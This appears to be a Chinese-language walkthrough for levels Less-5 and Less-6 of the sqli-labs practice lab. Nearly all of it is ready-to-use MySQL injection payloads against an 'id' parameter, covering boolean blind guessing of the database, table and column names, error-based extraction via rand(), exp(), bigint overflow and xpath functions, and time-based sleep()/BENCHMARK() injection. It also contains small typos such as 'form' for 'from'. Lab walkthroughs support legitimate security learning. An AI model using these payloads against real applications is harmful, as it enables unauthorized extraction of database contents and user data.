Less-5
1.使用left()函数盲注
首先得到数据库长度
id=1’ and length(database())=8–+
猜解第一个字符:
id=1’ and left(database(),1)>‘a’–+
可以采用二分法提高效率,得到第一个字符为s
第二位字符:
id=1’ and left(database(),2)>‘sa’–+
以此类推可得到完整数据库名
2.使用substr(),ascii()函数盲注
猜解security数据库中的表名
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+
猜解第二个字符只需改变substr(**,2,1),以此类推可得到第一个表email
获取第二个表需改变limit为:limit 1,1
3.正则函数regexp盲注
猜解第二表users中的列名
id=1’ and 1=(select 1 form information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)–+
users表中含有名为username的列名
4.ord(),mid()函数盲注
猜解users表中username列第一行的第一个字符内容
id =1 and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1) ,1,1))=68–+
5.rand()报错注入
id=1’ union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+
rand()函数报错注入三个条件:concat,floor(),group by
6.exp()报错注入
id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+
7.bigint 溢出报错注入
id=1’ union select (!(select * from (select user())x)- ~0),2,3–+
8.xpath报错注入
?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
?id=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
9.数据重复报错
10.延时注入
sleep()函数
?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
若表达式执行错误则延时5秒
BENCHMARK()函数
id=1’UNION SELECT (IF(SUBSTRING(select database(),1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 --+
encode函数
当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间。
Less-6
注入方法同上,只需将 ‘ 改为 “